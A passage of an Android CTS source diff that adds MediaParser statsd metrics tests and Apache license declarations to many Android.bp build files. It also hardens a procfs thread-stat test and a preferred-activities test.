+            "android.media.mediaparser.MatroskaParser",
+            "android.media.mediaparser.FragmentedMp4Parser",
+            "android.media.mediaparser.Mp4Parser",
+            "android.media.mediaparser.Mp3Parser",
+            "android.media.mediaparser.AdtsParser",
+            "android.media.mediaparser.Ac3Parser",
+            "android.media.mediaparser.TsParser",
+            "android.media.mediaparser.FlvParser",
+            "android.media.mediaparser.OggParser",
+            "android.media.mediaparser.PsParser",
+            "android.media.mediaparser.WavParser",
+            "android.media.mediaparser.AmrParser",
+            "android.media.mediaparser.Ac4Parser",
+            "android.media.mediaparser.FlacParser",
+        };
+        String parserPool = getSingleMediaParserReportedEvent().getParserPool();
+        List<String> parserNamesInParserPool =
+                Arrays.asList(parserPool.split(MEDIAPARSER_METRICS_SEPARATOR));
+        // We do not assert the order in the pool in order to allow test robustness against future
+        // mainline changes.
+        assertThat(parserNamesInParserPool).containsExactlyElementsIn(expectedParserNamesInPool);
+    }
+
+    public void testLastException() throws Exception {
+        runDeviceTest("testOggInvalidHeaderSniff");
+        List<MediametricsMediaParserReported> mediaParserReportedEvents =
+                getMediaParserReportedEvents();
+        assertThat(mediaParserReportedEvents).hasSize(2);
+        for (MediametricsMediaParserReported event : mediaParserReportedEvents) {
+            assertThat(event.getLastException())
+                .isEqualTo("android.media.MediaParser$UnrecognizedInputFormatException");
+        }
+    }
+
+    public void testResourceByteCount() throws Exception {
+        long actualInputSize = 101597;
+        long minimumExpectedResourceByteCount =
+                (long) (actualInputSize * (1 - MEDIAPARSER_METRICS_DITHER_VALUE));
+        long maximumExpectedResourceByteCount =
+                (long) (actualInputSize * (1 + MEDIAPARSER_METRICS_DITHER_VALUE));
+        runDeviceTest("testMp4");
+        long reportedByteCount = getSingleMediaParserReportedEvent().getResourceByteCount();
+        assertThat(reportedByteCount).isAtLeast(minimumExpectedResourceByteCount);
+        assertThat(reportedByteCount).isAtMost(maximumExpectedResourceByteCount);
+    }
+
+    public void testDurationMillis() throws Exception {
+        long actualDurationMillis = 1024;
+        long minimumExpectedResourceByteCount =
+                (long) (actualDurationMillis * (1 - MEDIAPARSER_METRICS_DITHER_VALUE));
+        long maximumExpectedResourceByteCount =
+                (long) (actualDurationMillis * (1 + MEDIAPARSER_METRICS_DITHER_VALUE));
+        runDeviceTest("testMp4");
+        long reportedDurationMillis = getSingleMediaParserReportedEvent().getDurationMillis();
+        assertThat(reportedDurationMillis).isAtLeast(minimumExpectedResourceByteCount);
+        assertThat(reportedDurationMillis).isAtMost(maximumExpectedResourceByteCount);
+    }
+
+    public void testTrackMimeTypes() throws Exception {
+        String[] expectedTrackMimeTypes = new String[] {"video/avc", "audio/mp4a-latm"};
+        runDeviceTest("testMp4");
+        String trackMimeTypesField = getSingleMediaParserReportedEvent().getTrackMimeTypes();
+        List<String> actualTrackMimeTypes =
+                Arrays.asList(trackMimeTypesField.split(MEDIAPARSER_METRICS_SEPARATOR));
+        assertThat(actualTrackMimeTypes).containsExactlyElementsIn(expectedTrackMimeTypes);
+    }
+
+    public void testTrackCodecs() throws Exception {
+        String[] expectedCodecs = new String[] {"", "mp4a.40.2"};
+        runDeviceTest("testMp4");
+        String trackMimeTypesField = getSingleMediaParserReportedEvent().getTrackCodecs();
+        List<String> actualTrackMimeTypes =
+                Arrays.asList(trackMimeTypesField.split(MEDIAPARSER_METRICS_SEPARATOR));
+        assertThat(actualTrackMimeTypes).containsExactlyElementsIn(expectedCodecs);
+    }
+
+    public void testAlteredParameters() throws Exception {
+        runDeviceTest("testTsWithH264DtsAudio");
+        assertThat(getSingleMediaParserReportedEvent().getAlteredParameters())
+                .isEqualTo("android.media.mediaparser.ts.enableHdmvDtsAudioStreams");
+    }
+
+    public void testVideoSize() throws Exception {
+        runDeviceTest("testMp4");
+        MediametricsMediaParserReported reportedEvent = getSingleMediaParserReportedEvent();
+        assertThat(reportedEvent.getVideoWidth()).isEqualTo(1080);
+        assertThat(reportedEvent.getVideoHeight()).isEqualTo(720);
+    }
+
+    // Internal methods.
+
+    /** Creates the statsd config and passes it to statsd. */
+    private void createAndUploadConfig() throws Exception {
+        StatsdConfig.Builder configBuilder =
+                StatsdConfigProto.StatsdConfig.newBuilder()
+                        .setId(CONFIG_ID)
+                        .addAllowedLogSource(MEDIAPARSER_TEST_APP_PACKAGE)
+                        .addWhitelistedAtomIds(
+                                AtomsProto.Atom.MEDIAMETRICS_MEDIAPARSER_REPORTED_FIELD_NUMBER);
+        addAtomEvent(configBuilder);
+        uploadConfig(configBuilder.build());
+    }
+
+    /** Removes any existing config with id {@link #CONFIG_ID}. */
+    private void removeConfig() throws Exception {
+        getDevice().executeShellCommand("cmd stats config remove " + CONFIG_ID);
+    }
+
+    /** Writes the given config into a file and passes is to statsd via standard input. */
+    private void uploadConfig(StatsdConfig config) throws Exception {
+        File configFile = File.createTempFile("statsdconfig", ".config");
+        configFile.deleteOnExit();
+        Files.write(config.toByteArray(), configFile);
+        String remotePath = "/data/local/tmp/" + configFile.getName();
+        // Make sure a config file with the same name doesn't exist already.
+        getDevice().deleteFile(remotePath);
+        assertThat(getDevice().pushFile(configFile, remotePath)).isTrue();
+        getDevice()
+                .executeShellCommand(
+                        "cat " + remotePath + " | cmd stats config update " + CONFIG_ID);
+        getDevice().deleteFile(remotePath);
+    }
+
+    /**
+     * Asserts that there is only one MediaParser reported metric event, and returns it.
+     *
+     * <p>Note: Calls {@link #getAndClearReportList()} to obtain the statsd report.
+     */
+    private MediametricsMediaParserReported getSingleMediaParserReportedEvent() throws Exception {
+        List<MediametricsMediaParserReported> mediaParserReportedEvents =
+                getMediaParserReportedEvents();
+        assertThat(mediaParserReportedEvents).hasSize(1);
+        return mediaParserReportedEvents.get(0);
+    }
+
+    /**
+     * Returns all MediaParser reported metric events sorted by timestamp.
+     *
+     * <p>Note: Calls {@link #getAndClearReportList()} to obtain the statsd report.
+     */
+    private List<MediametricsMediaParserReported> getMediaParserReportedEvents() throws Exception {
+        ConfigMetricsReportList reportList = getAndClearReportList();
+        assertThat(reportList.getReportsCount()).isEqualTo(1);
+        StatsLog.ConfigMetricsReport report = reportList.getReports(0);
+        ArrayList<EventMetricData> data = new ArrayList<>();
+        report.getMetricsList()
+                .forEach(
+                        statsLogReport ->
+                                data.addAll(statsLogReport.getEventMetrics().getDataList()));
+        // We sort the reported events by the elapsed timestamp so as to ensure they are returned
+        // in the same order as they were generated by the CTS tests.
+        return data.stream()
+                .sorted(Comparator.comparing(EventMetricData::getElapsedTimestampNanos))
+                .map(event -> event.getAtom().getMediametricsMediaparserReported())
+                .collect(Collectors.toList());
+    }
+
+    /** Gets a statsd report and removes it from the device. */
+    private ConfigMetricsReportList getAndClearReportList() throws Exception {
+        CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
+        getDevice()
+                .executeShellCommand(
+                        "cmd stats dump-report " + CONFIG_ID + " --include_current_bucket --proto",
+                        receiver);
+        return ConfigMetricsReportList.parser().parseFrom(receiver.getOutput());
+    }
+
+    /** Runs the test with the given name from the MediaParser CTS apk. */
+    private void runDeviceTest(String testMethodName) throws DeviceNotAvailableException {
+        RemoteAndroidTestRunner testRunner =
+                new RemoteAndroidTestRunner(
+                        MEDIAPARSER_TEST_APP_PACKAGE, TEST_RUNNER, getDevice().getIDevice());
+        testRunner.setMethodName(MEDIAPARSER_TEST_CLASS_NAME, testMethodName);
+        CollectingTestListener listener = new CollectingTestListener();
+        assertThat(getDevice().runInstrumentationTests(testRunner, listener)).isTrue();
+        TestRunResult result = listener.getCurrentRunResults();
+        assertThat(result.isRunFailure()).isFalse();
+        assertThat(result.getNumTests()).isEqualTo(1);
+        assertThat(result.hasFailedTests()).isFalse();
+    }
+
+    /** Adds an event to the config in order to match MediaParser reported atoms. */
+    private static void addAtomEvent(StatsdConfig.Builder config) {
+        String atomName = "Atom" + System.nanoTime();
+        String eventName = "Event" + System.nanoTime();
+        SimpleAtomMatcher.Builder sam =
+                SimpleAtomMatcher.newBuilder()
+                        .setAtomId(AtomsProto.Atom.MEDIAMETRICS_MEDIAPARSER_REPORTED_FIELD_NUMBER);
+        config.addAtomMatcher(
+                AtomMatcher.newBuilder().setId(atomName.hashCode()).setSimpleAtomMatcher(sam));
+        config.addEventMetric(
+                StatsdConfigProto.EventMetric.newBuilder()
+                        .setId(eventName.hashCode())
+                        .setWhat(atomName.hashCode()));
+    }
+}
diff --git a/hostsidetests/monkey/Android.bp b/hostsidetests/monkey/Android.bp
index 102e9ae..692fb07 100644
--- a/hostsidetests/monkey/Android.bp
+++ b/hostsidetests/monkey/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsMonkeyTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/monkey/test-apps/CtsMonkeyApp/Android.bp b/hostsidetests/monkey/test-apps/CtsMonkeyApp/Android.bp
index be2766e..6ccc9cd 100644
--- a/hostsidetests/monkey/test-apps/CtsMonkeyApp/Android.bp
+++ b/hostsidetests/monkey/test-apps/CtsMonkeyApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsMonkeyApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/monkey/test-apps/CtsMonkeyApp2/Android.bp b/hostsidetests/monkey/test-apps/CtsMonkeyApp2/Android.bp
index debb8f6..16d5c48 100644
--- a/hostsidetests/monkey/test-apps/CtsMonkeyApp2/Android.bp
+++ b/hostsidetests/monkey/test-apps/CtsMonkeyApp2/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsMonkeyApp2",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/multiuser/Android.bp b/hostsidetests/multiuser/Android.bp
index 1543686..4ce0368 100644
--- a/hostsidetests/multiuser/Android.bp
+++ b/hostsidetests/multiuser/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsMultiUserHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/numberblocking/Android.bp b/hostsidetests/numberblocking/Android.bp
index 8f7563f..67ce71c 100644
--- a/hostsidetests/numberblocking/Android.bp
+++ b/hostsidetests/numberblocking/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsHostsideNumberBlockingTestCases",
     srcs: ["src/**/*.java"],
diff --git a/hostsidetests/numberblocking/app/Android.bp b/hostsidetests/numberblocking/app/Android.bp
index 653121d..6a60d13 100644
--- a/hostsidetests/numberblocking/app/Android.bp
+++ b/hostsidetests/numberblocking/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsHostsideNumberBlockingAppTest",
     dex_preopt: {
diff --git a/hostsidetests/os/Android.bp b/hostsidetests/os/Android.bp
index dabbcbe..f60a789 100644
--- a/hostsidetests/os/Android.bp
+++ b/hostsidetests/os/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     // Must match the package name in CtsTestCaseList.mk
     name: "CtsOsHostTestCases",
diff --git a/hostsidetests/os/app/Android.bp b/hostsidetests/os/app/Android.bp
index c240299..969c3dd 100644
--- a/hostsidetests/os/app/Android.bp
+++ b/hostsidetests/os/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsDeviceOsTestApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/src/android/os/cts/ProcfsHostTests.java b/hostsidetests/os/src/android/os/cts/ProcfsHostTests.java
index d2c463a..57b4c1b 100644
--- a/hostsidetests/os/src/android/os/cts/ProcfsHostTests.java
+++ b/hostsidetests/os/src/android/os/cts/ProcfsHostTests.java
@@ -27,6 +27,8 @@
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
 
+import junit.framework.AssertionFailedError;
+
 public class ProcfsHostTests extends DeviceTestCase implements IBuildReceiver {
   // We need a running test app to test /proc/[PID]/* files.
   private static final String TEST_APP_PACKAGE = "android.os.procfs";
@@ -114,10 +116,20 @@
   public void testProcTidStat() throws Exception {
     int[] tids = lookForTidsInProcess(mTestAppPid);
     assertTrue("/proc/" + mTestAppPid + "/task/ includes < 2 threads", tids.length >= 2);
+    int successCount = 0;
     for (int tid : tids) {
-      readAndCheckFile(
-          "/proc/" + mTestAppPid + "/task/" + tid + "/stat", "cat ", PID_TID_STAT_PATTERN);
+      String filePath = "/proc/" + mTestAppPid + "/task/" + tid + "/stat";
+      try {
+        readAndCheckFile(filePath, "cat ", PID_TID_STAT_PATTERN);
+        successCount++;
+      } catch (AssertionFailedError e) {
+        // Threads may be short-lived. Make sure they're still there before throwing assertion error
+        if (mDevice.doesFileExist(filePath)) {
+          throw e;
+        }
+      }
     }
+    assertTrue("/proc/" + mTestAppPid + "/task/ includes < 2 threads", successCount >= 2);
   }
 
   /**
diff --git a/hostsidetests/os/test-apps/EnvironmentTestApp/Android.bp b/hostsidetests/os/test-apps/EnvironmentTestApp/Android.bp
index ea30d9c..abf8a14 100644
--- a/hostsidetests/os/test-apps/EnvironmentTestApp/Android.bp
+++ b/hostsidetests/os/test-apps/EnvironmentTestApp/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsHostEnvironmentTestApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/HostLinkVerificationApp/Android.bp b/hostsidetests/os/test-apps/HostLinkVerificationApp/Android.bp
index 6b89473..3fb73fe 100644
--- a/hostsidetests/os/test-apps/HostLinkVerificationApp/Android.bp
+++ b/hostsidetests/os/test-apps/HostLinkVerificationApp/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsHostLinkVerificationApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/InattentiveSleepTestApp/Android.bp b/hostsidetests/os/test-apps/InattentiveSleepTestApp/Android.bp
index a465c17..6c2934e 100644
--- a/hostsidetests/os/test-apps/InattentiveSleepTestApp/Android.bp
+++ b/hostsidetests/os/test-apps/InattentiveSleepTestApp/Android.bp
@@ -13,6 +13,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsInattentiveSleepTestApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/PowerManagerTestApp/Android.bp b/hostsidetests/os/test-apps/PowerManagerTestApp/Android.bp
index e8cf353..a867a5e 100644
--- a/hostsidetests/os/test-apps/PowerManagerTestApp/Android.bp
+++ b/hostsidetests/os/test-apps/PowerManagerTestApp/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsHostPowerManagerTestApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/ProcfsTestApp/Android.bp b/hostsidetests/os/test-apps/ProcfsTestApp/Android.bp
index 4b71269..d1f347b 100644
--- a/hostsidetests/os/test-apps/ProcfsTestApp/Android.bp
+++ b/hostsidetests/os/test-apps/ProcfsTestApp/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsHostProcfsTestApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/Android.bp b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/Android.bp
index b95f392..954213b 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/Android.bp
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsStaticSharedLibConsumerApp1",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/Android.bp b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/Android.bp
index f2a40dd..ee9e35e 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/Android.bp
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/Android.bp
@@ -13,6 +13,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsStaticSharedLibConsumerApp2",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/Android.bp b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/Android.bp
index 95b497c..be8e979 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/Android.bp
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/Android.bp
@@ -13,6 +13,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsStaticSharedLibConsumerApp3",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp1/Android.bp b/hostsidetests/os/test-apps/StaticSharedLibProviderApp1/Android.bp
index 99c1bd5..df2af60 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp1/Android.bp
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp1/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsStaticSharedLibProviderApp1",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp2/Android.bp b/hostsidetests/os/test-apps/StaticSharedLibProviderApp2/Android.bp
index d16ac9b..8ffff64 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp2/Android.bp
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp2/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsStaticSharedLibProviderApp2",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp3/Android.bp b/hostsidetests/os/test-apps/StaticSharedLibProviderApp3/Android.bp
index 4919e6b2..6f4e523 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp3/Android.bp
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp3/Android.bp
@@ -13,6 +13,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsStaticSharedLibProviderApp3",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp4/Android.bp b/hostsidetests/os/test-apps/StaticSharedLibProviderApp4/Android.bp
index 83226d0..50caab2 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp4/Android.bp
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp4/Android.bp
@@ -13,6 +13,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsStaticSharedLibProviderApp4",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp5/Android.bp b/hostsidetests/os/test-apps/StaticSharedLibProviderApp5/Android.bp
index aa549ff..b688dd7 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp5/Android.bp
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp5/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsStaticSharedLibProviderApp5",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp6/Android.bp b/hostsidetests/os/test-apps/StaticSharedLibProviderApp6/Android.bp
index 3827722..77d7e2e 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp6/Android.bp
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp6/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsStaticSharedLibProviderApp6",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/Android.bp b/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/Android.bp
index 8a2388d..62489e2 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/Android.bp
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsStaticSharedLibProviderApp7",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderAppRecursive/Android.bp b/hostsidetests/os/test-apps/StaticSharedLibProviderAppRecursive/Android.bp
index b3ee2aa..019c3c4 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderAppRecursive/Android.bp
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderAppRecursive/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsStaticSharedLibProviderRecursive",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/Android.bp b/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/Android.bp
index d41aabe..b82a420 100644
--- a/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/Android.bp
+++ b/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsStaticSharedNativeLibConsumer",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/StaticSharedNativeLibProvider/Android.bp b/hostsidetests/os/test-apps/StaticSharedNativeLibProvider/Android.bp
index 76e2fd5..4623e45 100644
--- a/hostsidetests/os/test-apps/StaticSharedNativeLibProvider/Android.bp
+++ b/hostsidetests/os/test-apps/StaticSharedNativeLibProvider/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsStaticSharedNativeLibProvider",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/StaticSharedNativeLibProvider1/Android.bp b/hostsidetests/os/test-apps/StaticSharedNativeLibProvider1/Android.bp
index 3062d9e..3491ad2 100644
--- a/hostsidetests/os/test-apps/StaticSharedNativeLibProvider1/Android.bp
+++ b/hostsidetests/os/test-apps/StaticSharedNativeLibProvider1/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsStaticSharedNativeLibProvider1",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/packagemanager/codepath/Android.bp b/hostsidetests/packagemanager/codepath/Android.bp
index 059f3c6..1927ee3 100644
--- a/hostsidetests/packagemanager/codepath/Android.bp
+++ b/hostsidetests/packagemanager/codepath/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsCodePathHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/packagemanager/codepath/app/Android.bp b/hostsidetests/packagemanager/codepath/app/Android.bp
index fc71169..666244d 100644
--- a/hostsidetests/packagemanager/codepath/app/Android.bp
+++ b/hostsidetests/packagemanager/codepath/app/Android.bp
@@ -13,6 +13,10 @@
 // limitations under the License.
 
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CodePathTestApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/packagemanager/dynamicmime/Android.bp b/hostsidetests/packagemanager/dynamicmime/Android.bp
index 3608b51..39247de 100644
--- a/hostsidetests/packagemanager/dynamicmime/Android.bp
+++ b/hostsidetests/packagemanager/dynamicmime/Android.bp
@@ -11,6 +11,10 @@
 // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 // See the License for the specific language governing permissions and
 // limitations under the License.
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsDynamicMimeHostTestCases",
     defaults: ["cts_defaults"],
@@ -26,4 +30,4 @@
         "compatibility-host-util",
         "truth-prebuilt",
     ],
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/packagemanager/dynamicmime/app/Android.bp b/hostsidetests/packagemanager/dynamicmime/app/Android.bp
index 21fcf05..1d34cf4 100644
--- a/hostsidetests/packagemanager/dynamicmime/app/Android.bp
+++ b/hostsidetests/packagemanager/dynamicmime/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsDynamicMimeHelperApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/packagemanager/dynamicmime/common/Android.bp b/hostsidetests/packagemanager/dynamicmime/common/Android.bp
index a80aba7..97a8893 100644
--- a/hostsidetests/packagemanager/dynamicmime/common/Android.bp
+++ b/hostsidetests/packagemanager/dynamicmime/common/Android.bp
@@ -12,9 +12,13 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library_static {
     name: "CtsDynamicMimeCommon",
     defaults: ["cts_defaults"],
     sdk_version: "test_current",
     srcs: ["src/**/*.java"],
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/packagemanager/dynamicmime/test/Android.bp b/hostsidetests/packagemanager/dynamicmime/test/Android.bp
index b8f2122..971cdc6 100644
--- a/hostsidetests/packagemanager/dynamicmime/test/Android.bp
+++ b/hostsidetests/packagemanager/dynamicmime/test/Android.bp
@@ -11,6 +11,10 @@
 // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 // See the License for the specific language governing permissions and
 // limitations under the License.
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsDynamicMimeTestApp",
     defaults: ["cts_defaults"],
@@ -31,4 +35,4 @@
     ],
     sdk_version: "test_current",
     platform_apis: true,
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java b/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java
index d37b0f5..9998657 100644
--- a/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java
+++ b/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java
@@ -51,19 +51,35 @@
 import org.junit.runner.RunWith;
 
 import java.util.concurrent.TimeUnit;
+import java.util.regex.Pattern;
 
 @RunWith(AndroidJUnit4.class)
 public class PreferredActivitiesTest extends BaseDynamicMimeTest {
     private static final String ACTION = "android.dynamicmime.preferred.TEST_ACTION";
 
-    private static final BySelector BUTTON_ALWAYS = By.res("android:id/button_always");
+    private static final String NAV_BAR_INTERACTION_MODE_RES_NAME = "config_navBarInteractionMode";
+    private static final int NAV_BAR_INTERACTION_MODE_GESTURAL = 2;
 
-    private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(30L);
+    private static final BySelector BUTTON_ALWAYS = By.res("android:id/button_always");
+    private static final BySelector RESOLVER_DIALOG = By.res(Pattern.compile(".*:id/contentPanel.*"));
+
+    private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(60L);
 
     private TestStrategy mTest;
 
     public PreferredActivitiesTest() {
         super(MimeGroupCommands.preferredApp(context()), MimeGroupAssertions.notUsed());
+        assumeNavigationMode();
+    }
+
